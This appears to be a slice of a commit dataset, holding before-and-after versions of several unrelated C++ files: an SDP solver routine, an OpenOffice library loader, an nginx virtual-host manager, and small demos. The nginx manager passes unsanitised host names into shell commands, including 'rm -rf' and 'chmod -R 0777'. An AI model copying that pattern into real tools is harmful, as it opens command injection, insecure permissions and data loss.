&objectives_timer(timers.add_and_start(\"run.objectives\"));\n primal_objective = sdp.objective_const + dot(sdp.primal_objective_c, x);\n \/\/ dual_objective_b is duplicated amongst the processors. y is\n \/\/ duplicated amongst the blocks, but it is possible for some\n \/\/ processors to have no blocks. In principle, we only need to\n \/\/ compute the dot product on the first block, but then we would\n \/\/ have to make sure that we compute that product over all\n \/\/ processors that own that block.\n if(!y.blocks.empty())\n {\n dual_objective = sdp.objective_const\n + El::Dotu(sdp.dual_objective_b, y.blocks.front());\n }\n El::mpi::Broadcast(&dual_objective, 1, 0, El::mpi::COMM_WORLD);\n\n duality_gap\n = Abs(primal_objective - dual_objective)\n \/ Max(Abs(primal_objective) + Abs(dual_objective), El::BigFloat(1));\n\n objectives_timer.stop();\n}\n<commit_msg>Use a simpler version of El::mpi::Broadcast()<commit_after>#include \"..\/..\/..\/SDP.hxx\"\n#include \"..\/..\/..\/..\/Timers.hxx\"\n\nEl::BigFloat dot(const Block_Vector &a, const Block_Vector &b);\n\nvoid compute_objectives(const SDP &sdp, const Block_Vector &x,\n const Block_Vector &y, El::BigFloat &primal_objective,\n El::BigFloat &dual_objective,\n El::BigFloat &duality_gap, Timers &timers)\n{\n auto &objectives_timer(timers.add_and_start(\"run.objectives\"));\n primal_objective = sdp.objective_const + dot(sdp.primal_objective_c, x);\n \/\/ dual_objective_b is duplicated amongst the processors. y is\n \/\/ duplicated amongst the blocks, but it is possible for some\n \/\/ processors to have no blocks. In principle, we only need to\n \/\/ compute the dot product on the first block, but then we would\n \/\/ have to make sure that we compute that product over all\n \/\/ processors that own that block.\n if(!y.blocks.empty())\n {\n dual_objective = sdp.objective_const\n + El::Dotu(sdp.dual_objective_b, y.blocks.front());\n }\n El::mpi::Broadcast(dual_objective, 0, El::mpi::COMM_WORLD);\n\n duality_gap\n = Abs(primal_objective - dual_objective)\n \/ Max(Abs(primal_objective) + Abs(dual_objective), El::BigFloat(1));\n\n objectives_timer.stop();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: dynamicregister.cxx,v $\n * $Revision: 1.9 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_testshl2.hxx\"\n\n#include \"dynamicregister.hxx\"\n#include <osl\/process.h>\n\/\/ #include <osl\/mutex.hxx>\n#include <rtl\/string.hxx>\n#include <rtl\/ustring.hxx>\n#include \"filehelper.hxx\"\n\n\/\/ -----------------------------------------------------------------------------\n\nDynamicLibraryHelper::DynamicLibraryHelper(rtl::OUString const& _sDLLName, GetOpt & _aOptions)\n :m_pModule(new ::osl::Module()),\n m_suDLLName(_sDLLName),\n m_aOptions(_aOptions)\n{\n \/\/ create and load the module (shared library)\n rtl::OUString suFile = FileHelper::convertPath( _sDLLName );\n rtl::OString sDLLName = rtl::OUStringToOString(suFile, RTL_TEXTENCODING_ASCII_US);\n if (_aOptions.hasOpt(\"-verbose\"))\n {\n fprintf(stderr, \"Try to load '%s'.\\n\", sDLLName.getStr());\n }\n\n if (! m_pModule->load(suFile, SAL_LOADMODULE_LAZY | SAL_LOADMODULE_GLOBAL))\n {\n sDLLName = rtl::OUStringToOString(_sDLLName, RTL_TEXTENCODING_ASCII_US);\n fprintf(stderr, \"warning: Can't load module '%s'.\\n\", sDLLName.getStr());\n }\n}\n\nDynamicLibraryHelper::~DynamicLibraryHelper()\n{\n delete m_pModule;\n}\n\n<commit_msg>INTEGRATION: CWS ause093 (1.9.6); FILE MERGED 2008\/05\/07 11:10:44 lla 1.9.6.3: #i88845# cleanup, for load library locally or absolutely 2008\/05\/06 12:08:20 hjs 1.9.6.2: #i88845# set of changes from lla to get specified library loaded 2008\/05\/06 06:42:35 lla 1.9.6.1: #i88845# changes for macosx usage<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: dynamicregister.cxx,v $\n * $Revision: 1.10 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_testshl2.hxx\"\n\n#include \"dynamicregister.hxx\"\n#include <osl\/process.h>\n\/\/ #include <osl\/mutex.hxx>\n#include <rtl\/string.hxx>\n#include <rtl\/ustring.hxx>\n#include \"filehelper.hxx\"\n\n#include <unistd.h>\n\n#if defined(WIN32)\n#include <direct.h> \/* w.g. _chdir() *\/\n#endif\n\nnamespace fixes\n{\n void changedir(const char* _sPath)\n {\n#if defined(WIN32)\n \/\/ chdir(_sPath) is marked depricated since Visual C++ 2005\n \/\/ use _chdir instead\n ::_chdir(_sPath);\n#else\n ::chdir(_sPath);\n#endif\n }\n}\n\n\/\/ -----------------------------------------------------------------------------\n\nDynamicLibraryHelper::DynamicLibraryHelper(rtl::OUString const& _suDLLName, GetOpt & _aOptions)\n :m_pModule(new ::osl::Module()),\n m_suDLLName(_suDLLName),\n m_aOptions(_aOptions)\n{\n \/\/ create and load the module (shared library)\n m_suAbsolutePathFile = FileHelper::convertPath( _suDLLName );\n\n \/\/ due to some problems on mac OS\n \/\/ we split the absolute pathname to path and filename\n \/\/ change to the path and load the filename direct\n \/\/ then change back to the old path.\n rtl::OUString suPathSeparator = rtl::OUString( rtl::OUString::createFromAscii(\"\/\"));\n sal_Int32 nPos = m_suAbsolutePathFile.lastIndexOf(suPathSeparator);\n if (nPos != -1)\n {\n m_suAbsolutePath = m_suAbsolutePathFile.copy(0, nPos);\n m_suFilename = m_suAbsolutePathFile.copy(nPos + 1);\n }\n else\n {\n \/\/ Should never happen.\n rtl::OString sPath = rtl::OUStringToOString(m_suAbsolutePathFile, RTL_TEXTENCODING_ASCII_US);\n fprintf(stderr, \"There is a problem with path '%s'.\\n\", sPath.getStr());\n exit(1);\n }\n\n if (getOptions().hasOpt(\"-absolutepath\"))\n {\n fprintf(stderr, \"Hint: Use absolute path to load test library.\\n\");\n loadLibraryFromAbsolutePath();\n }\n else if (getOptions().hasOpt(\"-localpath\"))\n {\n fprintf(stderr, \"Hint: make a chdir() to the test library, then try to load the test library without given path.\\n\");\n loadLibraryFromLocalPath();\n }\n else\n {\n\n\/\/ PLEASE DON'T CHANGE THIS STUPID STRUCTURE, JUST ADD YOUR ENVIRONMENT\n#if defined(LINUX)\n loadLibraryFromAbsolutePath();\n \/\/ will fail if load local\n\n#elif defined(SOLARIS)\n loadLibraryFromAbsolutePath();\n \/\/ will also be right if load local\n\n#elif defined(WIN32)\n loadLibraryFromAbsolutePath();\n \/\/ will fail if load local\n\n#elif defined(MACOSX)\n loadLibraryFromLocalPath();\n \/\/ will fail if local absolute\n#else\n \/\/ default is load absolute\n loadLibraryFromAbsolutePath();\n#endif\n}\n}\n\nvoid DynamicLibraryHelper::showFilenameIfVerbose()\n{\n if (getOptions().hasOpt(\"-verbose\"))\n {\n rtl::OString sFilename = rtl::OUStringToOString(m_suFilename, RTL_TEXTENCODING_ASCII_US);\n rtl::OString sPath = rtl::OUStringToOString(m_suAbsolutePath, RTL_TEXTENCODING_ASCII_US);\n fprintf(stderr, \"Try to load '%s' from '%s'.\\n\", sFilename.getStr(), sPath.getStr());\n\n \/\/ check filename\n }\n}\n\nvoid DynamicLibraryHelper::realLoadLibrary(rtl::OUString const& _suLibToLoad)\n{\n if (! m_pModule->load(_suLibToLoad, SAL_LOADMODULE_LAZY | SAL_LOADMODULE_GLOBAL))\n {\n rtl::OString sDLLName = rtl::OUStringToOString(m_suDLLName, RTL_TEXTENCODING_ASCII_US);\n fprintf(stderr, \"warning: Can't load module '%s'.\\n\", sDLLName.getStr());\n }\n}\n\nvoid DynamicLibraryHelper::loadLibraryFromAbsolutePath()\n{\n showFilenameIfVerbose();\n realLoadLibrary(m_suAbsolutePathFile);\n}\n\nvoid DynamicLibraryHelper::loadLibraryFromLocalPath()\n{\n sal_Int32 nPos;\n rtl::OUString suPathSeparator = rtl::OUString( rtl::OUString::createFromAscii(\"\/\"));\n#if defined(WIN32)\n suPathSeparator = rtl::OUString( rtl::OUString::createFromAscii(\"\\\\\"));\n#endif\n rtl::OUString suSystemPathFile;\n osl::FileBase::getSystemPathFromFileURL(m_suAbsolutePathFile, suSystemPathFile);\n\n nPos = suSystemPathFile.lastIndexOf(suPathSeparator);\n rtl::OUString suCurrentDirPath;\n if (nPos != -1)\n {\n \/\/ the filename only, no '\/' in the path\n rtl::OUString suNewPath = suSystemPathFile.copy(0, nPos );\n if (suNewPath.getLength() > 0)\n {\n rtl::OString sPath = rtl::OUStringToOString(suNewPath, RTL_TEXTENCODING_ASCII_US);\n osl_getProcessWorkingDir( &suCurrentDirPath.pData );\n\n fixes::changedir(sPath.getStr());\n\n \/\/ curNewDirPath should be suPath, small self test\n rtl::OUString curNewDirPath;\n osl_getProcessWorkingDir( &curNewDirPath.pData );\n if (! curNewDirPath.equals(m_suAbsolutePath))\n {\n fprintf(stderr, \"There is a problem with path '%s'.\\n\", sPath.getStr());\n }\n }\n }\n\n showFilenameIfVerbose();\n realLoadLibrary(m_suFilename);\n\n \/\/ change back to old directory\n if (suCurrentDirPath.getLength() > 0)\n {\n rtl::OString sCurrentDirPath = rtl::OUStringToOString(suCurrentDirPath, RTL_TEXTENCODING_ASCII_US);\n fixes::changedir(sCurrentDirPath.getStr());\n }\n}\n\nDynamicLibraryHelper::~DynamicLibraryHelper()\n{\n if (getOptions().hasOpt(\"-verbose\"))\n {\n fprintf(stderr, \"Dtor DynamicLibraryHelper.\\n\");\n fprintf(stderr, \"Delete loaded module.\");\n }\n delete m_pModule;\n if (getOptions().hasOpt(\"-verbose\"))\n {\n fprintf(stderr, \" [done].\\n\");\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is part ServerManager of package\n *\n * (c) Ondřej Záruba <zarubaondra@gmail.com>\n *\n * For the full copyright and license information, please view the license.md\n * file that was distributed with this source code.\n *\/\n\n#include <string>\n#include <fstream>\n#include <cstdlib>\n#include <sstream>\n#include \".\/Manager.h\"\n#include \".\/Configuration.h\"\n#include \".\/Console.h\"\n#include \".\/Files.h\"\n#include \".\/Strings.h\"\n\nusing namespace ServerManager;\nusing namespace std;\n\nManager::Manager(){}\n\nvoid Manager::setConfiguration(Configuration config)\n{\n\tthis->config = config;\n}\n\nstring Manager::search(string hostName)\n{\n\tstring cmd = \"cat \" + this->config.hosts + \" | grep \" + hostName;\n\tConsole console(cmd);\n\n\treturn console.exec();\n}\n\nstring Manager::getList()\n{\n\tifstream file(this->config.hosts.c_str());\n\tstring line, result;\n\tif (file.good()) {\n\t\twhile(getline(file, line)) {\n\t\t\tistringstream line_string(line);\n\t\t\tstring key;\n\t\t\tif (line.find(\" \") != std::string::npos) {\n\t\t\t\tif (getline(line_string, key, ' ')) {\n\t\t\t\t\tthis->appendLine(&result, key, line);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (getline(line_string, key, '\\t')) {\n\t\t\t\t\tthis->appendLine(&result, key, line);\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t\tfile.close();\n\n\t\treturn result;\n\t} else {\n\t\tfile.close();\n\t\tthrow \"Invalid path to hosts file or you don't run as administrator(sudo)\";\n\t}\n}\n\nstring Manager::create(string hostName)\n{\n\tstring result;\n\tConsole console(\"nginx -s stop\");\n\tif (console.exec().empty()) {\n\t\tresult.append(\"Stoping nginx\");\n\t}\n\tofstream hostsFile(this->config.hosts.c_str(), ios_base::app | ios_base::out);\n\tif (hostsFile.good()) {\n\t\thostsFile << endl << this->getHostConfig(hostName);\n\t\tresult.append(\"\\nAdded virtual host into hosts file\");\n\t\thostsFile.close();\n\t} else {\n\t\thostsFile.close();\n\t\tthrow \"Invalid path to hosts file or you don't run as administrator(sudo)\";\n\t}\n\tstring path = this->config.nginx + \"\/\" + hostName + \".conf\";\n\tofstream nginxConfig(path.c_str());\n\tif (nginxConfig.good()) {\n\t\tnginxConfig << this->getServerConfig(hostName);\n\t\tif(nginxConfig.good()) {\n\t\t\tresult.append(\"\\nAdded virtual host nginx configuration\");\n\t\t}\n\t\tif(!this->config.project.empty()) {\n\t\t\tConsole testGitRepository(\"git ls-remote \" + this->config.project + \" --exit-code\");\n\t\t\tif(testGitRepository.exec().empty()) {\n\t\t\t\t\tConsole cloneGitRepository(\"git clone \" + this->config.project + \" \" + this->config.htdocs + \"\/\" + hostName);\n\t\t\t\t\tcloneGitRepository.exec();\n\t\t\t\t\tresult.append(\"\\nCreated project from git repository\");\n\t\t\t} else {\n\t\t\t\tnginxConfig.close();\n\t\t\t\tthrow \"Check if repository of project is valid: \" + this->config.project;\n\t\t\t}\n\t\t} else {\n\t\t\tConsole mkdirLog(\"mkdir -p \" + this->config.htdocs + \"\/\" + hostName + \"\/\" + this->config.log);\n\t\t\tConsole mkdirRoot(\"mkdir -p \" + this->config.htdocs + \"\/\" + hostName + \"\/\" + this->config.root);\n\t\t\tif (mkdirLog.exec().empty() && mkdirRoot.exec().empty()) {\n\t\t\t\tresult.append(\"\\nCreated base project directories: \");\n\t\t\t\tresult.append(\"\\n\\t-\" + this->config.htdocs + \"\/\" + hostName + \"\/\" + this->config.log);\n\t\t\t\tresult.append(\"\\n\\t-\" + this->config.htdocs + \"\/\" + hostName + \"\/\" + this->config.root);\n\t\t\t}\n\t\t}\n\t\tnginxConfig.close();\n\t} else {\n\t\tnginxConfig.close();\n\t\tthrow \"Invalid path to nginx sites-enabled directory or you don't run as administrator(sudo)\";\n\t}\n\tConsole nginxStart(\"nginx\");\n\tif (nginxStart.exec().empty()) {\n\t\tresult.append(\"\\nStarting nginx\");\n\t}\n\tConsole chmodCmd(\"chmod -R 0777 \" + this->config.htdocs + \"\/\" + hostName);\n\tif (chmodCmd.exec().empty()) {\n\t\tresult.append(\"\\nSet chmod\");\n\t}\n\n\treturn result;\n}\n\nstring Manager::remove(string hostName)\n{\n\tstring result;\n\tConsole console(\"nginx -s stop\");\n\tif (console.exec().empty()) {\n\t\tresult.append(\"Stoping nginx\");\n\t}\n\tConsole rmProject(\"rm -rf \" + this->config.htdocs + \"\/\" + hostName);\n\tConsole rmNginxConf(\"rm -rf \" + this->config.nginx + \"\/\" + hostName + \".conf\");\n\tif (rmProject.exec().empty()) {\n\t\tresult.append(\"\\nProject directory has been removed\");\n\t} else {\n\t\tthrow \"Invalid path to host(project) directory or you don't run as administrator(sudo)\";\n\t}\n\tif (rmNginxConf.exec().empty()) {\n\t\tresult.append(\"\\nNginx configuration has been removed\");\n\t} else {\n\t\tthrow \"Invalid path to nginx sites-enabled directory or you don't run as administrator(sudo)\";\n\t}\n\tifstream ihostFile(this->config.hosts.c_str());\n\tif (ihostFile.good()) {\n\t\tstring line, newContent = \"\";\n\t\twhile(getline(ihostFile, line)) {\n\t\t\tif (line.compare(this->getHostConfig(hostName)) != 0 && !line.empty()) {\n\t\t\t\tnewContent.append(line + \"\\n\");\n\t\t\t}\n\t\t}\n\t\tofstream ohostFile(this->config.hosts.c_str());\n\t\tohostFile << newContent;\n\t\tresult.append(\"\\nVirtual host has been removed from hosts file\");\n\t\tihostFile.close();\n\t\tohostFile.close();\n\t} else {\n\t\tthrow \"Invalid path to hosts file or you don't run as administrator(sudo)\";\n\t\tihostFile.close();\n\t}\n\tConsole nginxStart(\"nginx\");\n\tif (nginxStart.exec().empty()) {\n\t\tresult.append(\"\\nStarting nginx\");\n\t}\n\n\treturn result;\n}\n\nvoid Manager::appendLine(string* result,string key, string line)\n{\n\tif (key.compare(\"127.0.0.1\") == 0) {\n\t\t(*result).append(line + \"\\n\");\n\t}\n}\n\nstring Manager::getServerConfig(string hostName)\n{\n\tFiles files;\n\tStrings strings;\n\tstring content = files.getString(this->config.serverTemplate);\n\tstring config = strings.replace(\"%hostName%\", hostName, content);\n\tconfig = strings.replace(\"%tld%\", this->config.tld, config);\n\tconfig = strings.replace(\"%htdocs%\", this->config.htdocs, config);\n\tconfig = strings.replace(\"%root%\", this->config.root, config);\n\tconfig = strings.replace(\"%log%\", this->config.log, config);\n\n\treturn config;\n}\n\nstring Manager::getHostConfig(string hostName)\n{\n\tFiles files;\n\tStrings strings;\n\tstring content = files.getString(this->config.systemTemplate);\n\tstring host = strings.replace(\"%hostName%\", hostName, content);\n\thost = strings.replace(\"%tld%\", this->config.tld, host);\n\n\treturn host;\n}\n<commit_msg>Manager create: do not allow duplicates, throw exception<commit_after>\/*\n * This file is part ServerManager of package\n *\n * (c) Ondřej Záruba <zarubaondra@gmail.com>\n *\n * For the full copyright and license information, please view the license.md\n * file that was distributed with this source code.\n *\/\n\n#include <string>\n#include <fstream>\n#include <cstdlib>\n#include <sstream>\n#include \".\/Manager.h\"\n#include \".\/Configuration.h\"\n#include \".\/Console.h\"\n#include \".\/Files.h\"\n#include \".\/Strings.h\"\n\nusing namespace ServerManager;\nusing namespace std;\n\nManager::Manager(){}\n\nvoid Manager::setConfiguration(Configuration config)\n{\n\tthis->config = config;\n}\n\nstring Manager::search(string hostName)\n{\n\tstring cmd = \"cat \" + this->config.hosts + \" | grep \" + hostName;\n\tConsole console(cmd);\n\n\treturn console.exec();\n}\n\nstring Manager::getList()\n{\n\tifstream file(this->config.hosts.c_str());\n\tstring line, result;\n\tif (file.good()) {\n\t\twhile(getline(file, line)) {\n\t\t\tistringstream line_string(line);\n\t\t\tstring key;\n\t\t\tif (line.find(\" \") != std::string::npos) {\n\t\t\t\tif (getline(line_string, key, ' ')) {\n\t\t\t\t\tthis->appendLine(&result, key, line);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (getline(line_string, key, '\\t')) {\n\t\t\t\t\tthis->appendLine(&result, key, line);\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t\tfile.close();\n\n\t\treturn result;\n\t} else {\n\t\tfile.close();\n\t\tthrow \"Invalid path to hosts file or you don't run as administrator(sudo)\";\n\t}\n}\n\nstring Manager::create(string hostName)\n{\n\tstring result;\n\n\tConsole console(\"nginx -s stop\");\n\tif (console.exec().empty()) {\n\t\tresult.append(\"Stoping nginx\");\n\t}\n\n\tofstream hostsFile(this->config.hosts.c_str(), ios_base::app | ios_base::out);\n\tif (!hostsFile.good()) {\n\t\thostsFile.close();\n\t\tthrow \"Invalid path to hosts file or you don't run as administrator(sudo)\";\n\t}\n\n\tif (!this->search(hostName).empty()) {\n\t\thostsFile.close();\n\t\tthrow \"Hostname already exists\";\n\t}\n\n\thostsFile << endl << this->getHostConfig(hostName);\n\tresult.append(\"\\nAdded virtual host into hosts file\");\n\thostsFile.close();\n\n\tstring path = this->config.nginx + \"\/\" + hostName + \".conf\";\n\tofstream nginxConfig(path.c_str());\n\tif (nginxConfig.good()) {\n\t\tnginxConfig << this->getServerConfig(hostName);\n\t\tif(nginxConfig.good()) {\n\t\t\tresult.append(\"\\nAdded virtual host nginx configuration\");\n\t\t}\n\t\tif(!this->config.project.empty()) {\n\t\t\tConsole testGitRepository(\"git ls-remote \" + this->config.project + \" --exit-code\");\n\t\t\tif(testGitRepository.exec().empty()) {\n\t\t\t\t\tConsole cloneGitRepository(\"git clone \" + this->config.project + \" \" + this->config.htdocs + \"\/\" + hostName);\n\t\t\t\t\tcloneGitRepository.exec();\n\t\t\t\t\tresult.append(\"\\nCreated project from git repository\");\n\t\t\t} else {\n\t\t\t\tnginxConfig.close();\n\t\t\t\tthrow \"Check if repository of project is valid: \" + this->config.project;\n\t\t\t}\n\t\t} else {\n\t\t\tConsole mkdirLog(\"mkdir -p \" + this->config.htdocs + \"\/\" + hostName + \"\/\" + this->config.log);\n\t\t\tConsole mkdirRoot(\"mkdir -p \" + this->config.htdocs + \"\/\" + hostName + \"\/\" + this->config.root);\n\t\t\tif (mkdirLog.exec().empty() && mkdirRoot.exec().empty()) {\n\t\t\t\tresult.append(\"\\nCreated base project directories: \");\n\t\t\t\tresult.append(\"\\n\\t-\" + this->config.htdocs + \"\/\" + hostName + \"\/\" + this->config.log);\n\t\t\t\tresult.append(\"\\n\\t-\" + this->config.htdocs + \"\/\" + hostName + \"\/\" + this->config.root);\n\t\t\t}\n\t\t}\n\t\tnginxConfig.close();\n\t} else {\n\t\tnginxConfig.close();\n\t\tthrow \"Invalid path to nginx sites-enabled directory or you don't run as administrator(sudo)\";\n\t}\n\tConsole nginxStart(\"nginx\");\n\tif (nginxStart.exec().empty()) {\n\t\tresult.append(\"\\nStarting nginx\");\n\t}\n\tConsole chmodCmd(\"chmod -R 0777 \" + this->config.htdocs + \"\/\" + hostName);\n\tif (chmodCmd.exec().empty()) {\n\t\tresult.append(\"\\nSet chmod\");\n\t}\n\n\treturn result;\n}\n\nstring Manager::remove(string hostName)\n{\n\tstring result;\n\tConsole console(\"nginx -s stop\");\n\tif (console.exec().empty()) {\n\t\tresult.append(\"Stoping nginx\");\n\t}\n\tConsole rmProject(\"rm -rf \" + this->config.htdocs + \"\/\" + hostName);\n\tConsole rmNginxConf(\"rm -rf \" + this->config.nginx + \"\/\" + hostName + \".conf\");\n\tif (rmProject.exec().empty()) {\n\t\tresult.append(\"\\nProject directory has been removed\");\n\t} else {\n\t\tthrow \"Invalid path to host(project) directory or you don't run as administrator(sudo)\";\n\t}\n\tif (rmNginxConf.exec().empty()) {\n\t\tresult.append(\"\\nNginx configuration has been removed\");\n\t} else {\n\t\tthrow \"Invalid path to nginx sites-enabled directory or you don't run as administrator(sudo)\";\n\t}\n\tifstream ihostFile(this->config.hosts.c_str());\n\tif (ihostFile.good()) {\n\t\tstring line, newContent = \"\";\n\t\twhile(getline(ihostFile, line)) {\n\t\t\tif (line.compare(this->getHostConfig(hostName)) != 0 && !line.empty()) {\n\t\t\t\tnewContent.append(line + \"\\n\");\n\t\t\t}\n\t\t}\n\t\tofstream ohostFile(this->config.hosts.c_str());\n\t\tohostFile << newContent;\n\t\tresult.append(\"\\nVirtual host has been removed from hosts file\");\n\t\tihostFile.close();\n\t\tohostFile.close();\n\t} else {\n\t\tthrow \"Invalid path to hosts file or you don't run as administrator(sudo)\";\n\t\tihostFile.close();\n\t}\n\tConsole nginxStart(\"nginx\");\n\tif (nginxStart.exec().empty()) {\n\t\tresult.append(\"\\nStarting nginx\");\n\t}\n\n\treturn result;\n}\n\nvoid Manager::appendLine(string* result,string key, string line)\n{\n\tif (key.compare(\"127.0.0.1\") == 0) {\n\t\t(*result).append(line + \"\\n\");\n\t}\n}\n\nstring Manager::getServerConfig(string hostName)\n{\n\tFiles files;\n\tStrings strings;\n\tstring content = files.getString(this->config.serverTemplate);\n\tstring config = strings.replace(\"%hostName%\", hostName, content);\n\tconfig = strings.replace(\"%tld%\", this->config.tld, config);\n\tconfig = strings.replace(\"%htdocs%\", this->config.htdocs, config);\n\tconfig = strings.replace(\"%root%\", this->config.root, config);\n\tconfig = strings.replace(\"%log%\", this->config.log, config);\n\n\treturn config;\n}\n\nstring Manager::getHostConfig(string hostName)\n{\n\tFiles files;\n\tStrings strings;\n\tstring content = files.getString(this->config.systemTemplate);\n\tstring host = strings.replace(\"%hostName%\", hostName, content);\n\thost = strings.replace(\"%tld%\", this->config.tld, host);\n\n\treturn host;\n}\n<|endoftext|>"} {"text":"<commit_before>\/************************************************\n * 该例程讲解用C++11来实现一个ScopeGuard类\n************************************************\/\n#include \"ScopeGuard.hpp\"\n#include <iostream>\n#include <functional>\n\nint main()\n{\n std::function<void()> func = []\n {\n std::cout << \"Cleanup from unnormal exit\" << std::endl;\n };\n\n {\n \/\/ 正常退出\n auto ret = makeGuard(func);\n ret.dismiss();\n }\n\n {\n \/\/ 非正常退出,调用func函数\n makeGuard(func);\n }\n\n return 0;\n}\n<commit_msg>Update scopeguard<commit_after>\/************************************************\n * 该例程讲解用C++11来实现一个ScopeGuard类\n************************************************\/\n#include \"ScopeGuard.hpp\"\n#include <iostream>\n#include <functional>\n\nint main()\n{\n std::function<void()> func = []\n {\n std::cout << \"Cleanup from unnormal exit\" << std::endl;\n };\n\n {\n \/\/ 正常退出\n auto ret = makeGuard(func);\n ret.dismiss();\n }\n\n {\n \/\/ 非正常退出,调用func函数\n auto ret = makeGuard(func);\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/** @file main.cc\n *\n * Driver file for testing LCC\n *\n * @author Nishant Mehta (niche)\n *\/\n\/\/ example for running program via fx-run on no.cc.gatech.edu:\n\/\/ fx-run mnist_lcc \/scratch\/niche\/fastlib-stl\/build\/bin\/mnist_lcc --lambda=0.05, --data_dir=\/scratch\/niche\/fastlib-stl\/contrib\/niche\/discriminative_sparse_coding\/mnist --digit1=4, --digit2=9, --n_iterations=1, --n_atoms=50,\n\n#include <fastlib\/fastlib.h>\n#include <armadillo>\n\n#include \"lcc.h\"\n\nusing namespace arma;\nusing namespace std;\n\nint main(int argc, char* argv[]) {\n fx_module* root = fx_init(argc, argv, NULL);\n \n double lambda = fx_param_double_req(NULL, \"lambda\");\n \n \/\/ if using fx-run, one could just leave results_dir blank\n const char* results_dir = fx_param_str(NULL, \"results_dir\", \"\");\n \n const char* data_dir = \n fx_param_str_req(NULL, \"data_dir\");\n \n \/\/const char* initial_dictionary_fullpath = \n \/\/ fx_param_str_req(NULL, \"initial_dictionary\");\n \n u32 digit_1 = fx_param_int_req(NULL, \"digit1\");\n u32 digit_2 = fx_param_int_req(NULL, \"digit2\");\n \n u32 n_iterations = fx_param_int_req(NULL, \"n_iterations\");\n \n u32 n_atoms = fx_param_int_req(NULL, \"n_atoms\");\n \n \n \n \/\/ Load Data\n char* data_filename = (char*) malloc(320 * sizeof(char));\n sprintf(data_filename,\n\t \"%s\/train%d.arm\",\n\t data_dir,\n\t digit_1);\n mat X_neg;\n X_neg.load(data_filename);\n u32 n_neg_points = X_neg.n_cols;\n \n sprintf(data_filename,\n\t \"%s\/train%d.arm\",\n\t data_dir,\n\t digit_2);\n mat X_pos;\n X_pos.load(data_filename);\n u32 n_pos_points = X_pos.n_cols;\n free(data_filename);\n \n mat X = join_rows(X_neg, X_pos);\n u32 n_points = X.n_cols;\n \/\/ normalize each column of data\n for(u32 i = 0; i < n_points; i++) {\n X.col(i) \/= norm(X.col(i), 2);\n }\n \n \/\/ create a labels vector, NOT so that we can use it for LCC, but so we can save the labels for easy discriminative training upon exit of this program\n vec y = vec(n_points);\n y.subvec(0, n_neg_points - 1).fill(-1);\n y.subvec(n_neg_points, n_points - 1).fill(1);\n \n \n \/\/ run LCC\n LocalCoordinateCoding lcc;\n \n \/\/mat initial_D;\n \/\/initial_D.load(\"\/home\/niche\/fastlib-stl\/contrib\/niche\/local_coordinate_coding\/D.dat\");\n \/\/initial_D.load(initial_dictionary_fullpath);\n \/\/u32 n_atoms = initial_D.n_cols;\n \n lcc.Init(X, n_atoms, lambda);\n lcc.DataDependentRandomInitDictionary();\n \n \/\/printf(\"n_atoms = %d\\n\", n_atoms);\n \n wall_clock timer;\n timer.tic();\n lcc.DoLCC(n_iterations);\n double n_secs = timer.toc();\n cout << \"took \" << n_secs << \" seconds\" << endl;\n \n mat learned_D;\n lcc.GetDictionary(learned_D);\n \n mat learned_V;\n lcc.GetCoding(learned_V);\n \n if(strlen(results_dir) == 0) {\n learned_D.save(\"D.dat\", raw_ascii);\n learned_V.save(\"V.dat\", raw_ascii);\n y.save(\"y.dat\", raw_ascii);\n }\n else {\n char* data_fullpath = (char*) malloc(320 * sizeof(char));\n\n sprintf(data_fullpath, \"%s\/D.dat\", results_dir);\n learned_D.save(data_fullpath, raw_ascii);\n \n sprintf(data_fullpath, \"%s\/V.dat\", results_dir);\n learned_V.save(data_fullpath, raw_ascii);\n \n sprintf(data_fullpath, \"%s\/y.dat\", results_dir);\n y.save(data_fullpath, raw_ascii);\n \n free(data_fullpath);\n }\n \n fx_done(root);\n}\n<commit_msg>changed mnist_main to allow specification of initial dictionary<commit_after>\/** @file main.cc\n *\n * Driver file for testing LCC\n *\n * @author Nishant Mehta (niche)\n *\/\n\/\/ example for running program via fx-run on no.cc.gatech.edu:\n\/\/ fx-run mnist_lcc \/scratch\/niche\/fastlib-stl\/build\/bin\/mnist_lcc --lambda=0.05, --data_dir=\/scratch\/niche\/fastlib-stl\/contrib\/niche\/discriminative_sparse_coding\/mnist --digit1=4, 